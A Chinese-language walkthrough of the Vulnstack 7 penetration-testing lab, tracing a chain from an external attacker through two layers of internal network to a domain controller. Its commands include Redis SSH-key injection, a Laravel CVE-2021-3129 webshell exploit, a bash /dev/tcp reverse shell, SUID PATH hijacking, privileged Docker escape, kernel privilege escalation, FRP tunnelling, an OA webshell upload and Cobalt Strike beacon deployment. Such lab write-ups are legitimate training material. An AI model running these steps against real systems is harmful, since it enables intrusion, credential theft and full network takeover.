万字讲解内网横向渗透vulnstack(七):红日靶场7实战全流程-CS上线全部Web1/Web2/PC1/PC2/DC

万字讲解内网横向渗透vulnstack(七):红日靶场7实战全流程-CS上线全部Web1/Web2/PC1/PC2/DC

目录

一、渗透环境

1、网络拓扑

2、角色表

3、网络搭建

(1)网络适配器配置

①修改Web1的网卡配置

②修改Web2的网卡配置

③修改PC1的网卡配置

(2)配置网段

①编辑虚拟网络编辑器

② vmnet2网卡

③ vmnet14网卡

二、信息搜集

1、探测存活主机

2、探测端口

三、Redis渗透

1、生成ssh私钥

2、查看生成公钥文件

3、写入Redis服务器

(1) 直接连接未授权Redis

(2)写入SSH公钥获取服务器权限

4、ssh连接

5、查看Web1的Nginx配置

四、Laravel渗透(Web2)

1、发现Laravel

2、下载PoC

3、执行PoC上传木马

4、下载哥斯拉

5、连接哥斯拉

6、发现Docker环境

五、Docekr逃逸(Web2)

1、利用反弹shell交互

(1)Web1监听5555端口

(2)哥斯拉(Docker)连接5555端口

(3)Web1反弹shell成功(连接Docker)

2、查找find权限

3、分析/home/jobs/shell文件

(1)file /home/jobs/shell

(2)发现源码文件

(3)尝试直接执行shell程序

5、环境变量提权

(1)命令详解

(2)实操提权

6、交互式会话

7、Docker逃逸准备

(1)特权模式检测

(2)查看分区

(3)挂载文件系统

8、写入ssh密钥进行逃逸

(1)跳板机Web1生成密钥

(2)向Web2写入公钥

(3)Web1连接Web2的ssh成功

六、Web2提权

1、CVE-2021-3493 PoC下载

2、Web2上创建PoC文件

3、编译执行PoC提权

七、Web1上传Fscan探测内网1

1、上传fscan

2、fscan探测192.168.52.0/24网段

八、FRP配置第一层反向代理

1、服务器(KALI攻击机)

(1)配置文件frps.ini

(2)kali执行frps

2、客户端(Web跳板机)

(1)配置文件frpc.ini

(2)向Web1服务器上传frpc文件并执行

3、Kali配置proxychains

九、PC1渗透(通达OA 走stoway代理)

1、访问PC1的8080端口

2、OA工具箱渗透

(1)配置代理

(2)扫描探测

(3)写入木马

3、连接冰蝎木马(冰蝎需要配置代理)

4、发现第二层内网192.168.93.0/24

十、添加路由

1、kali添加路由

2、Web1添加转发功能

3、Web2添加路由

4、PC1添加路由

5、Kali与Web2测试连通性

6、Kali与PC1测试连通性

十一、CS监听Web1(直连)

1、创建https监听

2、配置cs插件genCrossC2.Win

3、使用genCrossC2.Win生成linux beacon

4、将ljn-10050上传至Web1并运行

5、CS上线Web1

十二、CS上线Web2(路由)

1、web2上传baecon

2、web2运行baecon

3、CS2上线web2

十三、CS上线PC1(路由)

1、CS创建10087监听

(1)添加cs  http beacon监听

(2)生成木马Payload

2、PC1执行Baecon

(1)冰蝎上传baecon到PC1

(2)冰蝎执行baecon

3、CS上线PC1的baecon

(1)CS上线PC1

(2)抓取密码

(3)端口扫描

(4)域信息搜集

4、CS创建SMB监听

十四、CS上线DC(PSexec via PC1 smb)

十五、CS上线PC2(PSexec via DC smb)

十六、总结


本系列文章详细记录红日靶场7的一次从外网到内网的多层渗透测试过程,整个攻击链包括:通过Redis未授权渗透获取Web1跳板机权限;利用Laravel(CVE-2021-3129)渗透Web2服务器并实现Docker逃逸;配置FRP反向代理连通内网;使用fscan进行内网探测;通过CS工具上线多个内网主机;最终利用永恒之蓝和Psexec/SMB攻陷域控DC。整个渗透过程展示了从信息收集、渗透利用到权限提升、横向移动的完整攻击路径,涉及Redis、Laravel、Docker逃逸等多种渗透技术。具体如下所示。

  • Web1 (外网跳板机) - 信息收集: 通过端口扫描发现并利用 Redis 未授权访问渗透。
  • Web1 (外网跳板机) - 获取权限: 利用Redis写入ssh公钥实现ssh免密登录获取服务器权限。
  • Web1 (外网跳板机) - 内网探测: 上传fscan进行内网扫描,发现192.168.52.0/24网段。
  • Web2 (内网1) - 渗透利用: 通过 Web1 跳板攻击Web2上Laravel CVE-2021-3129 渗透。
  • Web2 (内网1) - 权限提升: 在 Web2 的 Docker 容器内利用Find和篡改环境变量提权。
  • Web2 (内网1) - Docker逃逸:在Web2的 Docker容器内利用特权模式写入ssh公钥进行逃逸。
  • Web2(内网1)-- 权限提升:通过CVE-2021-3493提权为root账户。
  • Kali(攻击机)-Web1 (外网跳板机)  - 反向代理:使用FRP搭建反向代理连通内网1。
  • PC1 (内网1) - 内网探测: 通过向PC1传fscan,探测内网主机PC1和域控DC。
  • Kali-Web1-PC1 (内网1)  - 路由转发: 通过添加路由使PC1、Web2与Kali可以互通。
  • Web1 (外网跳板机) - CS上线: 通过向Web1上传baecon并执行,CS上线Web1权限。
  • Web2(内网1)- CS上线:通过向Web2传上传baecon并执行,CS上线Web2权限。
  • PC1 (内网1) - CS上线: 通过向PC1上传baecon并执行,CS上线PC1权限。
  • PC1 (内网1) - 域控信息搜集: 搜集密码信息与域信息,获取域管理员账户密码。
  • DC(内网2) - CS上线: 通过SMB中转会话和PSexec上传DC域控。
  • PC (内网2) -CS上线:通过SMB中转会话和PSexec上传DC域控。

一、渗透环境

1、网络拓扑

外部网络:

  • Kali攻击机:Vmnet8-192.168.59.128
  • DMZ跳板机:Web1(Ubuntu):Vmnet8-192.168.59.141 Vmnet2网卡:192.168.52.10

第一层内部网络:

  • Web2服务器(Ubuntu):Vmnet2网卡:192.168.52.20),Vmnet14网卡:192.168.93.10
  • PC1(内网1):Vmnet2网卡:192.168.52.30(通达OA)Vmnet14网卡:192.168.93.20

第二层内部网络:

  • 内网渗透目标PC2(内网2):Vmnet14-192.168.93.40(永恒之蓝)
  • 内网渗透目标DC(内网2):Vmnet14-192.168.93.30(Psexec SMB)

2、角色表

本渗透环境包含六个核心角色,具体渗透流程与角色表如下所示。

  • 外网突破:Kali 利用 Web1 的 Redis未授权(192.168.52.10) 获得首个立足点。
  • 内网1横向移动:以 Web1 为跳板,扫描并攻击内网1 (192.168.52.0/24) 中的 Web2 和 PC1。
  • 向内网2渗透:利用 Web2 或 PC1 的双网卡特性,将其作为新的跳板,访问此前无法直接到达的内网2 (192.168.93.0/24)。
  • 内网2攻击:最终在内网2中,利用 永恒之蓝 攻击 PC2,利用 Psexec/SMB 攻击域控制器 DC,完成对整个网络的控制。
节点IP地址角色渗透路径中的作用
Kali攻击机192.168.59.128 (Vmnet8)攻击发起源从外网发起攻击的起点
Web1跳板机192.168.59.141 (Vmnet8)
192.168.52.10 (Vmnet2)
初始入口
Redis未授权访问
第一层跳板,连接外网与内网1
Web2服务器192.168.52.20 (Vmnet2)
192.168.93.10 (Vmnet14)
Laravel应用 & Docker
双网卡网关
第二层跳板,连接内网1与内网2
PC1192.168.52.30 (Vmnet2)
192.168.93.20 (Vmnet14)
通达OA系统
双网卡主机
辅助跳点,连接内网1与内网2
PC2 (目标)192.168.93.40 (Vmnet14)存在MS17-010(永恒之蓝)内网2核心攻击目标之一
DC (目标)192.168.93.30 (Vmnet14)域控制器,存在Psexec/SMB内网2最终攻击目标

3、网络搭建

(1)网络适配器配置

①修改Web1的网卡配置

将桥接的网卡改为NAT和VMnet2,如下所示。

开启redis服务,如下所示。

redis-server /etc/redis.conf

启动Nginx服务

/usr/sbin/nginx -c /etc/nginx/nginx.conf

注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。

②修改Web2的网卡配置

将桥接的网卡改为VMnet2和VMnet14,如下所示。

  • sudo service docker start
  • sudo docker start 8e172820ac78

确保在攻击机可以访问Web1服务器的81端口,在我的环境中Web1服务器的外网IP地址为192.168.59.141,故而访问URL如下所示。

http://192.168.59.141:81/

注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。

③修改PC1的网卡配置

将桥接的网卡改为VMnet2和VMnet14,如下所示。

注意:启动通达OA要管理员密码- Administrator:Whoami2021

C:\MYOA\bin\AutoConfig.exe

另外,还需关闭这台机器的fw,否则无法访问其8080端口。

注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。

(2)配置网段

①编辑虚拟网络编辑器

点击vmware-编辑-虚拟网络编辑器,进入到配置vmnet网卡的界面,如下所示。

② vmnet2网卡

将vmnet2网段改为192.168.52.0/24,如下所示。

③ vmnet14网卡

添加vmnet14网卡,网段设置为192.168.93.0/24,如下所示。

将vmnet14网段改为192.168.93.0/24,如下所示。

二、信息搜集

1、探测存活主机

nmap 192.168.59.0/24  发现ip地址为192.168.59.141,如下所示。

nmap -sn 192.168.59.0/24

2、探测端口

对192.168.59.141进行常用端口探测,如下所示出现敏感端口号22、80、81

nmap –A 192.168.59.141

三、Redis渗透

1、生成ssh私钥

在攻击机中生成一对RSA非对称加密密钥,默认在当前用户.ssh目录下创建私钥文件id_rsa和公钥文件id_rsa.pub,该密钥对可用于实现SSH免密登录、数字签名或加密传输等安全认证场景。

# 执行密钥生成命令

ssh-keygen -t rsa

2、查看生成公钥文件

进入.ssh目录内,我们发现共有两个文件,其中~/.ssh/id_rsa是生成的私钥(必须严格保密),而~/.ssh/id_rsa.pub是公钥(可以分发),查询公钥内容如下所示。

cat ~/.ssh/id_rsa.pub    

3、写入Redis服务器

(1) 直接连接未授权Redis

使用redis-cli -h 目标IP连接Redis服务器,具体如下所示。

redis-cli –h 192.168.59.141

(2)写入SSH公钥获取服务器权限

将我们通过篡改 Redis 的数据持久化配置,将上一步生成的SSH 公钥写入到目标系统 root 用户的 SSH 认证文件中,从而无需密码即可通过 SSH 登录 root 账户。

config set dir /root/.ssh/ config set dbfilename authorized_keys set marginl "\n\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC12JKIZTU2nkawSToIfKdy/5AE2reVNoFiD8r9NO6Sd6vkvzQ1JZRa0UcbXBc7sg1C3eLdF0p6i6+fWx6JEFbVtct0y2INdPIv0SumGEp8Hm2FD86kmwm7pcnKg/UqMrEP327yLglLAg++SAVBdAFy+Zxf0U3M1mvj6i3taIMHron8J6eWLI4G4AVinR5rAt9sxjIKvsFcrS7uB1+THd0tvDK4KzFKZ13sBxVyWZWV7Xrz3zNYwakQxlAxFQVcoVA/zebD7v9slUJhIKB0dyi0x+Kd8KUcJfQU8Xm+5J+GBPyxzywxMxIO2HDxSlCmcOOLiI28gRoi5N0du5fxIYJtSPIpKPy/BPHKDMXkXnec946fTFVxQe3jTZFBSt33573GA3cpeA9w1qaqhcLNIVJL9G08UkvUerBkqSqDQu/cP5T8Y6VSc5T8vXYZ9XJr8rQqTQMMB+S3+woeuSdX6pnsR+tPlyKe7AhZTx34JpvbqdVYdArV+2QgOWkXuSrinQk= kali@kali\n\n\n" save 

4、ssh连接

ssh [email protected] -i ~/.ssh/id_rsa

为了方便,我是用xterminal连接ssh,配置时将私钥指定为写入公钥对应的私钥即可,效果如下所示。

5、查看Web1的Nginx配置

在通过ssh获取到Web1服务器的控制权后,我们查看下Nginx的配置文件,发现有两个文件分别为80.conf和81.conf,应该是80端口和81端口对应的配置文件,具体如下所示。

cd /etc/nginx/conf.d/ cat 81.conf

查看81.conf内容,我们发现发现81端口进行了反向代理(使用的是192.168.52.20对应的8000端口),也就是说如果我们访问Web1服务器的81端口,实际上访问的是192.168.52.20这台Web

2服务器的8000端口。

四、Laravel渗透(Web2)

本部分渗透需要确保Web1服务器和Web2服务器两台虚拟机都处于打开状态。

1、发现Laravel

我们在第三步查看Nginx配置,发现Nginx开启了反向代理,也就是说如果我们访问Web1(IP地址为192.168.59.141)的81端口,实际上访问的是Web2的8080端口。接下来我们尝试通过Web1的80端口渗透,尝试获取Web2的权限。访问Web1的81端口,如下所示发现其为Laravel服务。

http://192.168.59.141:81

2、下载PoC

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

3、执行PoC上传木马

进入PoC所在的目录,执行PoC上传木马,命令如下所示。

python laravel-CVE-2021-3129-EXP.py  http://192.168.59.141:81

这一步需要打开虚拟机Web2,用于内网横向移动进行渗透测试,执行后输出webshell地址:http://192.168.59.141:81/fuckyou.php,密码:pass。

4、下载哥斯拉

由于Laravel的PoC较早,需要使用比较低版本的哥斯拉才可以连接成功,下载链接如下所示。

https://github.com/BeichenDream/Godzilla/releases/tag/v2.96-godzilla

5、连接哥斯拉

通过java -jar命令启动哥斯拉,如下所示成功启动哥斯拉软件。

添加木马,其中webshell地址:http://192.168.59.141:81/fuckyou.php,密码:pass,具体如下。

点击添加后,右键进入会话,如下所示哥斯拉木马已经成功连接。

6、发现Docker环境

通过ls -la /命令查看根目录,发现docker文件,说明这是个Docker环境,我们需要对其进行Docker逃逸。

执行whoami命令,返回时www-data用户,我们需要对其进行提权并逃逸。

五、Docekr逃逸(Web2)

1、利用反弹shell交互

(1)Web1监听5555端口

因为哥斯拉没办法交互会话,故而改为反弹shell连接。在Web1的ssh终端开启5555端口监听,命令如下所示。

(2)哥斯拉(Docker)连接5555端口

bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/5555<&1'

(3)Web1反弹shell成功(连接Docker)

如下所示反弹shell成功,接下来,我们就可以在web1的ssh终端通过监听5555端口连接Web2的Laravel服务器docker环境了。

2、查找find权限

在Docker容器或Linux系统中用于搜索具有SUID权限位的可执行文件,通过筛选所有根目录下属主具备SetUID权限的文件并忽略错误信息,旨在发现配置不当的高权限二进制程序,为容器逃逸或权限提升提供潜在突破口。

find / -perm -u=s -type f 2>/dev/null

如下所示,我们发现/home/jobs/shell文件,这是一个设置了SUID权限的可执行程序,并且其属主是 root

3、分析/home/jobs/shell文件

(1)file /home/jobs/shell

使用命令file /home/jobs/shell查看该程序的文件类型,发现是可执行程序,没法直接看代码。

(2)发现源码文件

由于/home/jobs/shell是可执行文件,我们尝试进入到其文件目录,看看是否有什么信息可以利用。首先使用命令ls -l /home/jobs检查目录是否存在相关源码文件,发现 demo.c 文件。

使用命令cat /home/jobs/demo.c查看文件内容并分析,该C程序通过setuid(0)和setgid(0)将进程权限提升至root身份,并调用system("ps")执行系统进程查看命令。具体如下所示。

(3)尝试直接执行shell程序

我们尝试执行shell程序,看看是否其执行了ps程序,如下所示确实执行了ps程序,说明shell应该是demo.c编译而得。

5、环境变量提权

(1)命令详解

我们来进行PATH环境变量劫持提权攻击,我们通过find命令获知/home/jobs/shell 是一个设置了SUID权限位的可执行程序,具体步骤如下所示。

cd /tmp

echo "/bin/bash" > ps

chmod 777 ps

echo $PATH

export PATH=/tmp:$PATH

cd /home/jobs

./shell

  • 准备恶意程序
    • cd /tmp - 进入可写目录
    • echo "/bin/bash" > ps - 创建一个名为 ps 的文件,内容为 /bin/bash
    • chmod 777 ps - 赋予该文件所有用户可执行权限
  • 劫持系统命令路径
    • echo $PATH - 查看当前系统的命令搜索路径
    • export PATH=/tmp:$PATH - 关键步骤:将 /tmp 目录添加到 PATH 环境变量的最前面。这意味着,当系统需要执行一个命令时,会优先在 /tmp 目录下寻找
  • 触发执行并提权
    • cd /home/jobs
    • ./shell - 执行这个SUID程序,

(2)实操提权

执行shell后输入id和whoami,如下所示,提权成功。

当 ./shell 被执行时,以下过程在后台发生:

  • 由于 shell 文件设置了SUID位,操作系统会创建一个以 root 权限 运行的进程。
  • 假设在这个 shell 程序的代码中,存在类似 system("ps"); 的调用。它需要执行 ps 命令。
  • 程序会向系统请求:“请帮我运行 ps 命令”。
  • 系统收到请求后,继承当前Shell的环境变量(包括已被我们篡改的 PATH),开始寻找名为 ps 的可执行文件。
  • 系统按照 PATH 的顺序查找:
    • 首先在 /tmp 目录中寻找。
    • 立刻找到了我们创建的 /tmp/ps 文件。
    • 查找停止,系统不会再去 /bin 或 /usr/bin 寻找真正的 ps 命令。
  • 系统执行 /tmp/ps。由于父进程(./shell)是以 root 权限 运行的,它启动的子进程(我们的木马 ps)也继承了 root 权限
  • /tmp/ps 文件的内容是 /bin/bash,因此系统实际执行的是 /bin/bash

6、交互式会话

python -c 'import pty; pty.spawn("/bin/bash")'

7、Docker逃逸准备

(1)特权模式检测

Docker 特权模式是一种高风险的容器运行模式。当使用 --privileged 标志启动容器时,意味着容器将获得 Linux 内核的所有能力。容器可以访问主机上的所有设备。通过cat /proc/self/status | grep CapEff查看能力值,若返回值为 0000003fffffffff 等接近全权限的掩码,则确认容器以特权模式运行。如下所示说明存在特权模式启动docker的问题。

(2)查看分区

通过fdisk -l获知宿主机磁盘为/dev/sda,具体如下所示。

(3)挂载文件系统

确认特权模式后,在容器内创建临时目录作为挂载点( /ljn)。使用 mount 命令将宿主机的物理磁盘(如 /dev/sda1 )挂载到该目录。此操作成功的关键在于特权模式绕过了设备访问限制,使得容器能够直接访问宿主机的存储设备,从而建立起从容器到主机文件系统的桥梁。

mkdir /ljn mount /dev/sda1 /ljn

8、写入ssh密钥进行逃逸

(1)跳板机Web1生成密钥

Web1生成秘钥,ssh-keygen -f ljn命令使用SSH密钥生成工具创建一对非对称加密密钥,其中-f ljn参数指定生成文件的基名为"ljn",默认在当前目录下创建私钥文件ljn和公钥文件ljn.pub,用于后续的身份认证操作。

ssh-keygen -f ljn

(2)向Web2写入公钥

我们将密钥写入/ljn/home/ubuntu/.ssh/authorized_keys中,完整命令如下所示。

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Y9r/Uo+SsdzxIT3UV+Q1ESQElsOFaFCd+L50EPvud1X9IID9mNN2vYnAuNRZi/0yAyyAWBUEjeiVHy4Wb0MnTAmR+6y3+cA/AsP2mWTV97nwOxBSdNzpBeCE4K4qzdoFzFxqQXQMmY2ywqkSz0mU880TlN4gvm0IlyI9Nba6n3FPnARhzIrvSCj5GXCd7VCw8zc7SBXP0NUk3hcQHBLYF4Go970beO7fxF5ayBT1pdU76j2pVwdGiL6OhCaI4IiDhkh0qoPpzJamz/wLjyBxEjIgoNs3QmKvboiKkmogBAjzzUEdkp6vVMjzqogmElMvfh9e4hwukJkD4tnbLD0b root@ubuntu' > /ljn/home/ubuntu/.ssh/authorized_keys

​​

(3)Web1连接Web2的ssh成功

Web1使用ssh  -i ljn [email protected]命令连接宿主机,需要先将ljn私钥的权限设置为600,通过执行chmod 600 ljn命令将私钥文件ljn的权限设置为600(即仅文件所有者可读写),这是SSH协议对私钥文件的安全强制要求,权限设置过宽会导致SSH客户端拒绝使用该私钥建立连接。

chmod 600 ljn #赋予权限 ssh  -i ljn [email protected]

如下所示,此时我们通过在web1执行ssh命令,成功逃逸到web2系统,不过查看whoami时返回用户为ubuntu,我们仍需对其进行提权渗透,将其提升为root权限。

六、Web2提权

1、CVE-2021-3493 PoC下载

CVE-2021-3493是Linux内核中的一个高危本地权限提升的安全风险,它主要影响Ubuntu系统。攻击者可以利用此它从普通用户权限提升至root权限。

https://github.com/briskets/CVE-2021-3493

2、Web2上创建PoC文件

首先建立一个exploit.c的文件然后将脚本内容粘贴进去,然后执行编译,然后执行。

3、编译执行PoC提权

首先使用GCC编译器将名为exploit.c的C语言源代码编译为名为exploit_ljn的可执行文件,随后通过chmod命令为其添加可执行权限,最终运行该PoC利用程序,通过执行内核级PoC利用代码实现从普通用户到root权限的本地提权,如下所示提权成功

gcc exploit.c -o exploit_ljn chmod +x exploit_ljn ./exploit_ljn 

七、Web1上传Fscan探测内网1

1、上传fscan

由于Web1服务器是Linux系统,故而需要将fscan_arm64传入到Web1中,我们直接将其拖拽到xterminal的左侧目录即可,具体操作步骤如下所示。

2、fscan探测192.168.52.0/24网段

这一步需要打开三个windows虚拟机(Web1,Web2和PC1)探测,首先为fscan_amd64扫描工具添加可执行权限,随后对192.168.52.0/24整个C类网段进行综合资产探测与扫描,旨在快速发现存活主机、开放端口及潜在安全风险。

chmod +x ./fscan_amd64 ./fscan_amd64 -h 192.168.52.0/24

分析./fscan_amd64 -h 192.168.52.0/24的扫描结果, 发现30是windows系统,8080是通达OA。

八、FRP配置第一层反向代理

1、服务器(KALI攻击机)

(1)配置文件frps.ini

FRP服务端监听端口7000,负责与FRP客户端建立控制通道。

bindPort = 7000

(2)kali执行frps

./frps -c frps.ini

2、客户端(Web跳板机)

  • 核心角色:FRP客户端与服务提供端。
  • 连接配置:指向Kali服务器(server_addr = 192.168.59.128:7000)。
  • 服务定义:创建了一个名为 [socks5] 的代理服务。
    • 类型type = tcp
    • 出口端口remote_port = 12347,在Kali服务器上开启的Socks5代理服务端口。
    • 插件plugin = socks5,直接提供Socks5代理协议支持。
  • 功能:在Kali的12347端口上暴露一个Socks5代理,所有发往该端口的流量都会被加密转发至跳板机,并由跳板机转发至其所在的内网(192.168.93.0/24)。

(1)配置文件frpc.ini

 frp 客户端配置中,[common] 部分指定服务端地址为 192.168.59.128,端口 7000;[socks5] 部分设置类型为 TCP,远程端口 12347,使用 socks5 插件,用于建立 socks5 代理连接至服务端。

[common]

server_addr = 192.168.59.128

server_port = 7000

[socks5]

type = tcp

remote_port = 12347

plugin = socks5

  • socks 端口remote_port = 12347,即通过此端口提供 socks5 代理服务。
  • 代理角色:frp 客户端通过配置的 socks5 插件,结合服务端(地址 192.168.59.128:7000)建立连接,最终由 frp 服务端侧通过 12347 端口对外提供 socks5 代理能力,客户端作为代理的发起和中转节点,服务端则是代理的对外接入点。

(2)向Web1服务器上传frpc文件并执行

3、Kali配置proxychains

配置/etc/proxychains4.conf文件,添加socks5 0.0.0.0 12347,如下所示。

九、PC1渗透(通达OA 走stoway代理)

1、访问PC1的8080端口

访问PC1的通达OA服务(192.168.52.30:8080),需要配置socks5代理192.168.59.128:12347,具体如下所示。

2、OA工具箱渗透

(1)配置代理

这里我们选择使用OA工具箱渗透,使用前需配置socks5代理192.168.59.128:12347,具体步骤如下所示。

(2)扫描探测

左侧的菜单栏中选择通达(如下图左侧红框所示),在地址栏输入Fscan中扫描到的通达OA服务URL地址http://192.168.52.30:8080/,点击验证如下所示存在文件上传安全风险。

(3)写入木马

接下来我们点击“文件上传”,在文本框内粘贴冰蝎马的内容,并点击上传文件,如下所示成功上传冰蝎马。

http://192.168.52.30:8080/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2510/562133777.png

3、连接冰蝎木马(冰蝎需要配置代理)

使用冰蝎工具前需要配置socks5代理192.168.59.128:12347,方法如下所示。

​URL地址: http://192.168.52.30:8080/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2510/562133777.png 密码 rebeyond

如下所示,我们成功连接冰蝎工具,截至目前我们已经成功获取到Web1服务器(跳板机)、Web2服务器(第一层内网)和PC1(第一层内网)的权限。

4、发现第二层内网192.168.93.0/24

如下所示,我们使用ipconfig查询ip地址,一个网卡的ip地址为192.168.52.30(正式第一层内网的IP地址),同时发现其另一个网卡ip地址为192.168.93.20,说明还第二层内网,其网段为192.168.93.0/24。

十、添加路由

此时我们已经拿到Web1服务器(跳板机)、Web2服务器(内网1)、PC1(内网1)的控制权。

1、kali添加路由

route add -net 192.168.52.0 netmask 255.255.255.0 gw 192.168.59.141 eth0

2、Web1添加转发功能

sysctl -w net.ipv4.ip_forward=1

3、Web2添加路由

route add -net 192.168.59.0 netmask 255.255.255.0 gw 192.168.52.10 eth0

4、PC1添加路由

route add 192.168.59.0 mask 255.255.255.0 192.168.52.10

5、Kali与Web2测试连通性

6、Kali与PC1测试连通性

十一、CS监听Web1(直连)

1、创建https监听

2、配置cs插件genCrossC2.Win

确保genCrossC2.Win目录中的key与cs server端的key值相同,需要将服务端key文件复制到genCrossC2.Win目录中,具体操作方法如下所示。

3、使用genCrossC2.Win生成linux beacon

genCrossC2.exe 192.168.59.128 10050 ./.cobaltstrike.beacon_keys null Linux x64 ljn-10050.out  raw

4、将ljn-10050上传至Web1并运行

5、CS上线Web1

如下所示,Web1上线,内网ip地址为192.168.52.0/24网段.

十二、CS上线Web2(路由)

1、web2上传baecon

在web1的baecon文件ljn-10050.out目录中执行

python3 -m http.server 8888

web2下载ljn-10050.out

2、web2运行baecon

运行ljn-10050.out

3、CS2上线web2

十三、CS上线PC1(路由)

1、CS创建10087监听

(1)添加cs  http beacon监听

添加cs监听器,选择 payload 类型(Beacon HTTP),并配置回连的IP地址(团队服务器的IP地址: 192.168.59.128)和端口(10087,任意不冲突即可)。

(2)生成木马Payload

payload 是将要投放到目标主机上的可执行文件,即Beacon代理。在菜单栏-有效载荷(P)的菜单下,选择“Windows可执行文件(Stageless)”,如下图所示。

选择格式后,会弹出一个配置窗口,选择mooyuan2008监听器。

这时监听器选择mooyuan2008,输出格式windows exe,输出格式选择目标靶机win server2008匹配的的x64格式,点击生成后,会提示保存,将其保存并命名,这里我选择命名为mooyuan2008-http-x64.exe,保存到了f:/2008/目录中。

2、PC1执行Baecon

(1)冰蝎上传baecon到PC1

(2)冰蝎执行baecon

mooyuan2008-http-x64.exe

3、CS上线PC1的baecon

(1)CS上线PC1

这一步防止不稳定,可以提权一下

(2)抓取密码

(3)端口扫描

(4)域信息搜集

4、CS创建SMB监听

cs新建SMB监听,如下所示。

点击保存后监听列表中增加ljn-smb监听,如下所示。

十四、CS上线DC(PSexec via PC1 smb)

这步做之前,先还原快照(或者手动打开防火墙),确保环境是原始没有关闭防火墙版本的。

十五、CS上线PC2(PSexec via DC smb)

十六、总结

正常应该都是活动的,我这里因为电脑太卡了,对PC1和PC2、DC关机了,

图示化如下所示。

Read more

OpenClaw实战系列01:OpenClaw接入飞书机器人全接入指南 + Ollama本地大模型

文章目录 * 引言 * 第一步:环境准备与核心思想 * 第二步:部署Ollama——把大模型“养”在本地 * 1. 安装 Ollama * 2. 拉取并运行模型 * 3. 确认API可用性 * 第三步:安装OpenClaw——AI大脑的“躯干” * 1. 安装Node.js * 2. 一键安装 OpenClaw * 3. 验证安装 * 第四步:打通飞书——创建并配置机器人 * 1. 创建飞书应用 * 2. 配置机器人能力 * 3. 发布应用 * 第五步:OpenClaw与飞书“握手” * 方法一:使用 onboard 向导重新配置(推荐最新版) * 方法二:手动添加渠道 * 批准配对 * 第六步:实战测试与玩法拓展

By Ne0inhk
Flutter 组件 upnp_client 的鸿蒙适配实战 - 实现跨设备服务发现、智能家居自动关联与多媒体投屏协议控制

Flutter 组件 upnp_client 的鸿蒙适配实战 - 实现跨设备服务发现、智能家居自动关联与多媒体投屏协议控制

欢迎加入开源鸿蒙跨平台社区:https://openharmonycrossplatform.ZEEKLOG.net Flutter 组件 upnp_client 的鸿蒙适配实战 - 实现跨设备服务发现、智能家居自动关联与多媒体投屏协议控制 前言 在“万物互联”的愿景下,鸿蒙系统(OpenHarmony)最核心的武器就是跨设备协同能力。然而,如何让你的 Flutter 应用在复杂的家庭或办公内网中,自动发现并操控那些非鸿蒙生态但同样广泛分布的设备(如:DLNA 智能电视、家用路由器、网络打印机、甚至是 NAS 存储)? UPnP(Universal Plug and Play)协议此时扮演了全局搜索的关键角色。作为一套基于 SSDP 和 HTTP 处理发现与控制的老牌协议,它依然是局域网互联互通的“基础设施”。 upnp_client 为 Flutter

By Ne0inhk
【FPGA入坑指南第二章】安装vivado/vitis2023.1软件

【FPGA入坑指南第二章】安装vivado/vitis2023.1软件

本栏目的初心 降低FPGA的门槛,让所有对FPGA感兴趣的,之前望而却步的朋友也能上手玩一玩,体验一下FPGA的世界。【本栏作者贯彻“先进入再深入”的中心思想】 引文 * AMD官方软件下载地址 vivado开发者工具 * 百度云下载包 Xilinx2023.1安装包「其他版本可以联系作者」 简介 Vivado和Vitis是Xilinx(现为AMD的一部分)推出的两款核心软件工具,它们在FPGA和SoC(系统级芯片)设计中占据着重要地位。这两款软件的推出代表了Xilinx在数字设计领域的持续创新与发展,并且逐步取代了早期的ISE和SDK工具套件。 ISE和SDK的历史背景 在Vivado和Vitis推出之前,Xilinx的ISE(Integrated Software Environment)是FPGA设计的主要开发环境。ISE主要用于Xilinx早期的FPGA系列,如Spartan和Virtex系列。ISE支持从RTL设计、综合、布局布线到生成比特流文件的整个设计流程,但其在时序优化、设计复杂度和开发效率方面逐渐暴露出一些局限性,尤其是对于更高端的FPGA系列和

By Ne0inhk
Flutter 组件 bip340 适配鸿蒙 HarmonyOS 实战:次世代 Schnorr 签名,为鸿蒙 Web3 与隐私计算筑牢加密防线

Flutter 组件 bip340 适配鸿蒙 HarmonyOS 实战:次世代 Schnorr 签名,为鸿蒙 Web3 与隐私计算筑牢加密防线

欢迎加入开源鸿蒙跨平台社区:https://openharmonycrossplatform.ZEEKLOG.net Flutter 组件 bip340 适配鸿蒙 HarmonyOS 实战:次世代 Schnorr 签名,为鸿蒙 Web3 与隐私计算筑牢加密防线 前言 在鸿蒙(OpenHarmony)生态迈向去中心化金融(DeFi)、隐私通讯及安全资产管理等高阶安全场景的背景下,如何实现更高性能、更具扩展性且抗攻击能力的数字签名架构,已成为决定应用闭环安全性的“压舱石”。在鸿蒙设备这类强调分布式鉴权与芯片级安全(TEE/SE)的移动终端上,如果依然沿用传统的 ECDSA 签名算法,由于由于其固有的可延展性风险与高昂的聚合验证成本,极易由于由于在大规模节点验证时的 CPU 负载过高导致交互滞后。 我们需要一种能够实现签名线性聚合、计算逻辑极简且具备原生抗延展性的密码学方案。 bip340 为 Flutter 开发者引入了比特币 Taproot 升级的核心——Schnorr 签名算法。它不仅在安全性上超越了传统标准,更通过其线性的数学特性,

By Ne0inhk